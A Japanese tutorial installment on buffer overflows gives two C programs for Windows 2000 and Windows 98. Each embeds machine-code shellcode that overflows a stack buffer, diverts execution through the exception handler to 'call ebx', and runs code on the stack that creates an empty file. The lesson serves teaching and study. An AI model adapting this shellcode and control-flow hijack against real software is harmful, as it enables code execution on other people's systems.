
■ BufferOverFlow応用プログラム ■
前回はバッファオーバーフローを利用して任意のコードを実行
してしまうプログラムを作成しました。
前回のプログラムはWindows98上で動作する物ですが、今回は
Windows2000上で動作するプログラムを作成します。
それでは早速ですが"of3.c"をコピー&貼り付けして新しく出
来たファイルを"of5-2000.c"というファイル名に変更しておき
ましょう。
今回は"of5-2000.c"に変更を加えていきます。
以下に変更後の"of5-2000.c"を示します。
変更部分にはコメントを付けておきます。
─●↓"of5-2000.c"ここから───────────────
#include <stdio.h>
#include <string.h>
void main(void);
void main()
{
unsigned char* i;
unsigned char b[]= { 0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b,
0x1c, 0x1d, 0x1e, 0x1f,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
// ●↓ここから変更
0xeb, 0x29, 0x90, 0x90,
0xd0, 0x49, 0xe5, 0x77,
0x5B, 0x33, 0xC0, 0x50,
0x6A, 0x01, 0x6A, 0x02,
0x50, 0x6A, 0x01, 0x83,
0xC0, 0x01, 0xC1, 0xE0,
0x1F, 0x50, 0x53, 0xB8,
0x8D, 0x2B, 0xE6, 0x77,
0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0xA1, 0xD6, 0xF8,
0xBF, 0xFF, 0xE0, 0xE8,
0xD8, 0xFF, 0xFF, 0xFF,
0x4F, 0x76, 0x65, 0x72,
0x46, 0x6C, 0x6F, 0x77,
0x2E, 0x43, 0x61, 0x6C,
0x6C, 0x00,
// ●↑ここまで変更
};
unsigned char a[]= { 0x0, 0x1, 0x2, 0x3,
0x4, 0x5, 0x6, 0x7,
};
// スタック領域を表示する。
for(i=&b[0];i<=&a[67];i+=4)
{
printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
}
// バッファbをバッファaにコピーする。
strncpy((char*)a, (char*)b, sizeof(b));
printf("copy end\n");
// スタック領域を表示する。
for(i=&b[0];i<=&a[67];i+=4)
{
printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
}
}
─●↑"of5-2000.c"ここまで───────────────
前回と同様、たった1箇所変更しただけです。
バッファbの中にいろいろと数値を追加しました。
// ●↓ここから変更
0xeb, 0x29, 0x90, 0x90,
0xd0, 0x49, 0xe5, 0x77,
0x5B, 0x33, 0xC0, 0x50,
0x6A, 0x01, 0x6A, 0x02,
0x50, 0x6A, 0x01, 0x83,
0xC0, 0x01, 0xC1, 0xE0,
0x1F, 0x50, 0x53, 0xB8,
0x8D, 0x2B, 0xE6, 0x77,
0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0xA1, 0xD6, 0xF8,
0xBF, 0xFF, 0xE0, 0xE8,
0xD8, 0xFF, 0xFF, 0xFF,
0x4F, 0x76, 0x65, 0x72,
0x46, 0x6C, 0x6F, 0x77,
0x2E, 0x43, 0x61, 0x6C,
0x6C, 0x00,
// ●↑ここまで変更
中身については後で説明するとして、とりあえずビルドして実
行させてみましょう。
sc of5-2000.c -j
これで"of5-2000.exe"という実行形式ファイルが出来ます。
"of5-2000.c"では、バッファbをバッファaにコピーするだけ
のプログラムである事を覚えておきましょう。
それでは実行させてみて下さい。
【注意】
┌────────────────────────────┐
│このプログラムにはわざとバグを仕込んであります。 │
│実行するにあたっては必ず自己責任において実行させるように│
│してください。 │
│ │
│実行結果においては著者は一切の責任を負いませんので、予め│
│御了承下さい。 │
│ │
│尚、このプログラムは Windows2000上で動作するように作られ│
│ていますが、 Windows2000上であれば必ず動作するという事を│
│保証するものではありません。 │
│1部意図した様に動作しない場合もあると思いますが、あわせ│
│て御了承下さい。 │
└────────────────────────────┘
実行結果はどうなったでしょうか。
一見何の変化もないように見えますが、"of5-2000.exe"のファ
イルがあるフォルダをエクスプローラで開いて見てください。
"OverFlow.Call"という中身が空のファイルが出来ていると思
います。
プログラムの実行コード部分にはバッファbをバッファaにコ
ピーするだけのコードしかありません。
しかしこれにより、以下の様な動作が行われます。
バッファbをバッファaにコピー
↓
バッファオーバーフロー発生
↓
例外ハンドラ動作開始
↓
例外ハンドラが「call ebx」へ制御を移行
↓
「call ebx」実行
↓
スタック領域へ制御を移行
↓
スタック領域上のコードを実行
最後に「スタック領域上のコードを実行」とあります。
先ほど示したスタック領域上の変更部分には、"OverFlow.Call"
というファイルを作成する為の機械語コードが埋め込まれてい
たので、これにより新たにファイルが作成されたというわけで
す。
ここまで読んで、Windows98ユーザーの方も同じ事を行いたい
と思った方もいらっしゃるかもしれません。
以下にWindows98上で同じ事を行うプログラムを示します。
─●↓"of5-98.c"ここから────────────────
#include <stdio.h>
#include <string.h>
void main(void);
void main()
{
unsigned char* i;
unsigned char b[]= { 0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b,
0x1c, 0x1d, 0x1e, 0x1f,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff,
0xeb, 0x2b, 0x90, 0x90,
0x0c, 0x67, 0xf2, 0xbf,
// ●↓ここから変更
0x5B, 0x33, 0xC0, 0x50,
0xB0, 0x80, 0x50, 0x6A,
0x01, 0x33, 0xC0, 0x50,
0x50, 0x83, 0xC0, 0x01,
0xC1, 0xE0, 0x1F, 0x50,
0x53, 0xB8, 0x5B, 0x7B,
0xF7, 0xBF, 0xFF, 0xD0,
0x6A, 0x01, 0xB8, 0xA1,
0xD6, 0xF8, 0xBF, 0xFF,
0xE0, 0xE8, 0xD6, 0xFF,
0xFF, 0xFF, 0x4F, 0x76,
0x65, 0x72, 0x46, 0x6C,
0x6F, 0x77, 0x2E, 0x43,
0x61, 0x6C, 0x6C, 0x00,
// ●↑ここまで変更
};
unsigned char a[]= { 0x0, 0x1, 0x2, 0x3,
0x4, 0x5, 0x6, 0x7,
};
// スタック領域を表示する。
for(i=&b[0];i<=&a[67];i+=4)
{
printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
}
// バッファbをバッファaにコピーする。
strncpy((char*)a, (char*)b, sizeof(b));
printf("copy end\n");
// スタック領域を表示する。
for(i=&b[0];i<=&a[67];i+=4)
{
printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
}
}
─●↑"of5-98.c"ここまで────────────────
Windows2000上で動作するプログラムと若干バッファbの中身
が異なります。(バッファb以外は全く同じです。)
これはWindows2000とWindows98とのAPI(Application Program-
ming Interface)の違いによるものです。
APIというのは、アプリケーションソフトウェアがOSやミドル
ウェア等の機能を呼出す為に用意されているインタフェースの
事です。
マイクロソフトの「DirectX」がAPIの1種と説明すると多少分
かりやすいでしょうか。
実はバッファbの中で「ファイルを作成しなさい」というAPI
を呼出しているのですが、このAPIはWindows2000とWindows98
とで若干呼出し方が異なるのです。
次回はバッファbの中身、機械語コードについて簡単に説明し
たいと思います。
しかし、既にこの講座がかなり難解&長い、と思われている方
も多いと思いますので、アセンブリコードを示すだけに留めた
いと思います。
そしてここまで読まれた方の中で、WindowsXPは?と思われた
方もいらっしゃると思います。
次回はこれらについても説明しようと思います。